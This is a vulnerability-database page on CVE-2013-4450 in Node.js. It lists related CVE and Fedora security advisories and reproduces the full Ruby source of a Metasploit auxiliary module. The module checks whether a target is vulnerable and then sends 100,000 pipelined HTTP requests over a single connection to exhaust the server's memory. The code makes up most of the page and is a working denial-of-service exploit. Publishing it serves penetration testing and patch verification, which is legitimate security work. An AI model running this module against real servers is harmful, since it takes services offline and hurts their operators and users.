Lucene search
K

Node.js HTTP Pipelining Denial of Service

🗓️ 31 Aug 2024 00:00:00Reported by joev, titanous, Marek Majkowski, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 178 Views

Node.js HTTP Pipelining Denial of Service. Exploits DoS vulnerability by sending many pipelined HTTP requests causing unbounded memory allocation

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2013-4450
29 May 201815:50
circl
CVE
CVE-2013-4450
21 Oct 201317:00
cve
Cvelist
CVE-2013-4450
21 Oct 201317:00
cvelist
Debian CVE
CVE-2013-4450
21 Oct 201317:00
debiancve
Fedora
[SECURITY] Fedora 19 Update: libuv-0.10.18-1.fc19
29 Oct 201303:31
fedora
Fedora
[SECURITY] Fedora 19 Update: nodejs-0.10.21-1.fc19
29 Oct 201303:31
fedora
Fedora
[SECURITY] Fedora 18 Update: libuv-0.10.18-1.fc18
29 Oct 201303:36
fedora
Fedora
[SECURITY] Fedora 18 Update: nodejs-0.10.21-1.fc18
29 Oct 201303:36
fedora
Fedora
[SECURITY] Fedora 20 Update: libuv-0.10.18-1.fc20
10 Nov 201307:46
fedora
Fedora
[SECURITY] Fedora 20 Update: nodejs-0.10.21-1.fc20
10 Nov 201307:46
fedora
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Node.js HTTP Pipelining Denial of Service',  
'Description' => %q{  
This module exploits a Denial of Service (DoS) condition in the HTTP parser of Node.js versions  
released before 0.10.21 and 0.8.26. The attack sends many pipelined  
HTTP requests on a single connection, which causes unbounded memory  
allocation when the client does not read the responses.  
},  
'Author' =>  
[  
'Marek Majkowski', # Vulnerability discovery  
'titanous', # Metasploit module  
'joev' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-4450' ],  
[ 'OSVDB', '98724' ],  
[ 'BID' , '63229' ],  
[ 'URL', 'https://nodejs.org/ja/blog/vulnerability/http-server-pipeline-flood-dos/' ]  
],  
'DisclosureDate' => '2013-10-18'))  
  
register_options(  
[  
Opt::RPORT(80),  
OptInt.new('RLIMIT', [true, "Number of requests to send", 100000])  
],  
self.class)  
end  
  
def check  
# http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/  
# check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted  
status = Exploit::CheckCode::Safe  
connect  
sock.put(http_request("GEM"))  
begin  
response = sock.get_once  
status = Exploit::CheckCode::Appears if response =~ /HTTP/  
rescue EOFError  
# checking against >= 0.10.17 raises EOFError because there is no  
# response to GEM requests  
vprint_error("Failed to determine the vulnerable state due to an EOFError (no response)")  
return Msf::Exploit::CheckCode::Unknown  
ensure  
disconnect  
end  
status  
end  
  
def host  
host = datastore['RHOST']  
host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80  
host  
end  
  
def http_request(method='GET')  
"#{method} / HTTP/1.1\r\nHost: #{host}\r\n\r\n"  
end  
  
def run  
payload = http_request  
begin  
print_status("Stressing the target memory...")  
connect  
datastore['RLIMIT'].times { sock.put(payload) }  
print_status("Attack finished. If you read it, it wasn't enough to trigger an Out Of Memory condition.")  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_status("Unable to connect to #{host}.")  
rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error  
print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached")  
ensure  
disconnect  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation